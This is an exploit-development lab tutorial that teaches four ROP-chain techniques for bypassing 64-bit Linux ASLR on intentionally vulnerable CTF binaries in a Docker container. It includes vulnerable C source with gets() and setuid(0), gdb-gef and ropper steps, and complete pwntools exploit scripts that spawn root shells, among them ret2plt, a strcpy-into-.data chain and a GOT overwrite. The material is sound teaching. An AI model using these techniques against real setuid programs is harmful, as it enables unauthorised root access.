
Introduction to Exploit/Zero-Day Discovery and
Development:  Linux 64-Bit Address Space Layout
Randomization Bypasses

In this exercise, we are going to keep ASLR enabled on your host that is running Docker, so
before you start the container, run echo 2 > /proc/sys/kernel/randomize_va_space as root.
Then pull the docker container with the challenges and tools

sudo docker pull ghcr.io/tanc7/introexploitdev-cobra:latest

We have four methods that we will exploit to bypass ASLR and obtain a root shell on the
system, all of which utilize a ROP-chain.

1. Unused shell functions
2. Unintentional hardcoded shell functions from calling other commands (/bin/date

specifically)
3. Manually overwrite the .data segment with the ‘sh’ variable using strcpy and calling

system
4. Manually overwriting the Global Offset Table from printf into calling system instead

Due to gdb-PEDA not being updated since December 20th, 2020, and subsequently causing
unexplained bugs with our course, we are now switching to gdb-gef (pronounced “Jeff”)
extensions, which for you as a student, would be useful in introducing you to a multitude of
debugging extensions. Unlike PEDA, GEF is still well maintained and heavily used by CTF
players to this day.

The required tools are already pre installed in your Docker Container with the vulnerable
binaries.

Start your container

docker run --rm -it --privileged -p 2222:22

ghcr.io/tanc7/introexploitdev-cobra:latest /bin/bash

and login to it with a new terminal, ssh ctf@localhost -p 2222 and the password is player.



Now create a new tmux workspace tmux new -s workspace so we can split our panes and
pivot between them.

But first, we must confirm that ASLR is ENABLED. Run the linker program against the binary to
ensure that the base address of the C Standard Library is randomized.



ASLR Bypass Part #1: Unused Shell Function

We are going to start with our first exploitable binary, which contains an unused shell function,
the simplest way to bypass ASLR and get root.

Unlike our later exploit methods which takes advantage of the ret2plt technique and
manipulation of Global Offset Table Entries, we can take advantage of this hardcoded shell
function to open a root shell.

Split your panes and run ropper, ropper, and then set the file to our first vulnerable binary, file
vuln.



All we need in this exercise is an address with a return instruction, run search /1/ ret and note
the address, as well as the address of our unused shell function.

Our exploit should be straightforward, write your python3 script as so.

from pwn import *

unused_shell_func = 0x0000000000401166

ret = 0x0000000000401016



buf=  b'A' * 208

buf += b'\x42' * 8

buf += p64(ret)

buf += p64(unused_shell_func)

sys.stdout.buffer.write(buf)

Save it as exploit1.py in the docker container and run the exploit (python3 exploit1.py ; cat;) |
./vuln and press [Enter] twice and grab your flag. The flag for ASLR bypasses will be
changed from this picture!

ASLR Bypass Part #2: Unintentional hardcoded shell
functions (date command)

Clear up your workspace and let’s work on 2vuln, the second binary’s source code has a syscall
that runs the /bin/date executable and also has shell access. Here is the source code.

#include <stdio.h>

void show_date() {

system("/bin/date");

}

void greet_me() {

char name[200];

printf("Enter your name:");

gets(name);

printf("%s ! It is you again !!! oh my gosh",name);

}

int main(int argc, char *argv[]) {

setuid(0);

setgid(0);



show_date();

greet_me();

return 0;

}

First let’s acquire the following variables using ropper and the GNU debugger. A RET
instruction, a POP RDI RET instruction, a address to the shell function, and a syscall. Gdb
2vuln -q

First, locate and disassemble the show_date function and notice the system call with the
Procedure Linkage Table Instruction, <system@plt>. Disas show_date, notice that there is a
call to 0x401030.

If you run disas 0x401030 you will notice it points to the Global Offset Table entry of system(),
<system@got.plt>. Take note of these in your Python script.

Now let’s look for the hardcoded reference to ‘sh’ in memory. First, the app must be run, so hit r
and then Ctrl-C out of it. Then in gdb-gef run the command search-pattern ‘sh’. Take note of
the highlighted memory address as we will use it in our exploit.



Run ropper again and set the file to file 2vuln. You require two gadgets for this to work, a RET
instruction and a POP RDI; RET instruction. Take note of these memory addresses for our final
exploit.

Your finalized exploit code should look like this.

from pwn import *

ret = 0x0000000000401016

sh_address = 0x402049

system = 0x0000000000401030

pop_rdi_ret = 0x000000000040127b

buf=  b'A' * 208

buf += b'\x42' * 8

buf += p64(ret)



buf += p64(pop_rdi_ret)

buf += p64(sh_address)

buf += p64(system)

sys.stdout.buffer.write(buf)

Run the command again (python3 exploit2.py ; cat;) | ./2vuln, press [Enter] Twice, and grab
the flag (the flag in the picture is NOT the flag for your quiz!)

ASLR Bypass Part #3: If no hardcoded shell functions
exist, manually invoking a shell by putting together a
“sh” string by abusing strcpy functions

If no hardcoded shell functions exist, we can abuse the strcpy() function by taking advantage of
Linux x64 Calling Conventions, which, as we covered before previously, is…

function(RDI, RSI, RDX, RCX, R8, R9) # Any additional arguments is to be saved as a offset
from the Return Stack Pointer (RSP)

We only need to populate the RDI register with a memory address that points to the ascii
character ‘s’ and the RSI register with a memory address that points to the ascii character ‘h’ to
spell out ‘sh’ or “/bin/sh”. We are then going to call it as strcpy(‘s’,’h’) or strcpy(RDI,RSI) into
the writable .data segment and then calling system(rdi) to invoke our root level shell. But first,
we need a section of memory in the compiled app that we can write to.

First, open 3vuln in gdb again, gdb 3vuln -q and then run and exit the program, r and then
Ctrl-C. Then run vmmap to get the loaded address range of our specific binary.



Notice that the range starts from 0x00000000400000 and ends at 0x00000000405000. We can
use gdb to set these variables for easier access for our search, set $start=0x00000000400000
set $end=0x00000000405000

Now we need to search through the binary for the characters ‘s’ and ‘h’ in non-randomized
memory space. search-pattern 's' $start-$end 3vuln



Do the same for the ‘h’ character. search-pattern 'h' $start-$end 3vuln

In this example, we found the single character ‘s’ in non-randomized memory address 0x4004a3
and ‘h’ in 0x401036. Take note of these in our exploit.



Finally we will need to search for our syscall function. It is located in our show_date function.
First disas show_date to look for the call to <system@plt> and then disas 0x401040 to find
the global offset table entry which is <system@got.plt>, coincidentally again, it is 0x401040 but
just for further reference, this address may be different depending on what version your
vulnerable app is compiled in and what C-Standard Library it is using.

We need to find a section of writable data for our exploit, in another terminal window run the
command readelf -S ./3vuln and search for writable sections in the .data segment

There is a lot to go through but notice this address range which we can modify.

Take note of this writable address range, 0x0000000000404030 for our exploit.

Now we need to go back and look for our strcpy function so we can call it to write our malicious
command into that .data segment.



Run disas unused, a function that runs the strcpy() function, and then disas 0x401030 or
<strcpy@plt> to get the memory address of the global offset table at <strcpy@got.plt>,
coincidentally this is the same, but you should take note that depending on the compiler version
it may be a different memory address.

We will run into a issue with ropper, where we cannot find a POP RSI;RET; instruction on it’s
own, but rather a alternative gadget of POP RSI; POP R15; RET; which is still usable to
populate our second argument for system(RDI,RSI).



The three memory addresses we have are…

0x0000000000401016 = RET
0x00000000004012ab = POP RDI; RET;
0x00000000004012a9 = POP RSI; POP R15; RET;

Because our only gadget to pop a value off the stack into the RSI register (that would be our ‘h’)
requires a operation of the R15 register, we will fill it with a dummy value to satisfy it by filling it
with eight C’s before executing our RET instruction. When we execute our ROP chain, only RDI
and RSI will be evaluated for code execution. Our finalized exploit code should look like this.

from pwn import *

s_address = 0x4004a3

h_address = 0x401036

write_to = 0x0000000000404030

strcpy = 0x0000000000401030

system = 0x0000000000401040

ret = 0x0000000000401016

pop_rdi_ret = 0x00000000004012ab

pop_rsi_pop_r15_ret = 0x00000000004012a9

dummy = b"C"*8

buf= b'A' * 208



buf += b'\x42' * 8

#-------------------------copy 's' to .data

buf += p64(ret)

buf += p64(pop_rdi_ret)

buf += p64(write_to)

buf += p64(pop_rsi_pop_r15_ret)

buf += p64(s_address)

buf += dummy

buf += p64(strcpy)

#-------------------------copy 'h' to .data

buf += p64(pop_rdi_ret)

buf += p64(write_to+0x1)

buf += p64(pop_rsi_pop_r15_ret)

buf += p64(h_address)

buf += dummy

buf += p64(strcpy)

#-------------------------call system with 'sh' as parameter

buf += p64(pop_rdi_ret)

buf += p64(write_to)

buf += p64(system)

sys.stdout.buffer.write(buf)

Notice that on the line for copying ‘h’ to .data, the ROP-chain is packed with write_to+0x1,
because we want to not overwrite the ‘s’, and instead increment or “seek” to the next byte to fit
our ‘h’.

Once again, run our exploit outside of the debugging session and get the flag.



ASLR Bypass Part #4: If no system calls are available
in the binary, overwrite the Global Offset Table entry to
point to system() (previously printf)

In our last binary, 4vuln, we do not have a means to directly call system(), but we can fix this
with a GOT overwrite. First we must find the offset to system from our desired function, printf(),
which is used repeatedly throughout our vulnerable app.

Run gdb 4vuln -q, and run the program and exit it, press r and then Ctrl+C. Then type xinfo
system (alternatively you can use p system and get the same value) and note that it is
0x7fc83f20c290. For some reason, you cannot set variables and then p/x ($printf-$system)

Do the same for printf and which is 0x7fc83f21bc90



To calculate the offset, run p/x (0x7fc83f21bc90-0x7fc83f20c290), which returns a offset
(distance) of 0xfa00

For this binary, we need the following gadgets…

RET;
POP RDI; RET;
POP RBP; RET;
SUB RDI; RBP;

And the following variables…

Global Offset Table position of our printf() function
Procedure Linkage Table position of our printf() function
Offset to system
A shell string



First let’s find our gadgets, once again run ropper and run the following commands

The required gadgets are…

0x0000000000401016: ret;
0x000000000040124b: pop rdi; ret;
0x000000000040113d: pop rbp; ret;
0x0000000000401156: sub qword ptr [rdi], rbp; ret;

Note due to some sort of terminal buffer issue, you may need to reopen a new terminal for the
gdb session to display the correct memory address for the shell.

Run the app once, and then ctrl+c out of it. Then take note of the memory address range with
the vmmap command and finally search for the sh string in the local binary with the command
search-pattern 'sh' 0x00000000400000 0x00000000405000 4vuln



Now disassemble the printf function and take note of the memory address 0x401030
<printf@plt>, and then disassemble that memory address disas 0x401030 and take note of the
Global Offset Table Address of printf 0x404000 <printf@got.plt>

We are overwriting the Global Offset Table address of 0x404000 to point to system instead.

Your final source code for the exploit should look like this

from pwn import *

offset_to_system = 0xfa00

ret = 0x0000000000401016

pop_rdi_ret = 0x000000000040124b

pop_rbp_ret = 0x000000000040113d

sub_rdi_rbp = 0x0000000000401156

sh_string = 0x402004

printf_at_plt = 0x401030

printf_at_got = 0x404000



buf= b'A' * 216

buf += p64(ret)

buf += p64(pop_rdi_ret)

buf += p64(printf_at_got)

buf += p64(pop_rbp_ret)

buf += p64(offset_to_system)

buf += p64(sub_rdi_rbp)

buf += p64(ret)

buf += p64(pop_rdi_ret)

buf += p64(sh_string)

buf += p64(printf_at_plt)

sys.stdout.buffer.write(buf)

Run the exploit  (python3 out.py ; cat;) | ./4vuln and then grab the flag.

You can set a breakpoint with the command b *system and observe the arguments as you
press c and the exploit hits that breakpoint. Notice that what was supposed to be a printf()
function has now been substituted with a syscall(‘sh’)



As you step into or over the breakpoints, you can dump any printable strings by using the x/s
command on a register, or in this case, a specific memory address such as x/5s 0x402004,
which is the location of our ‘sh’ variable.


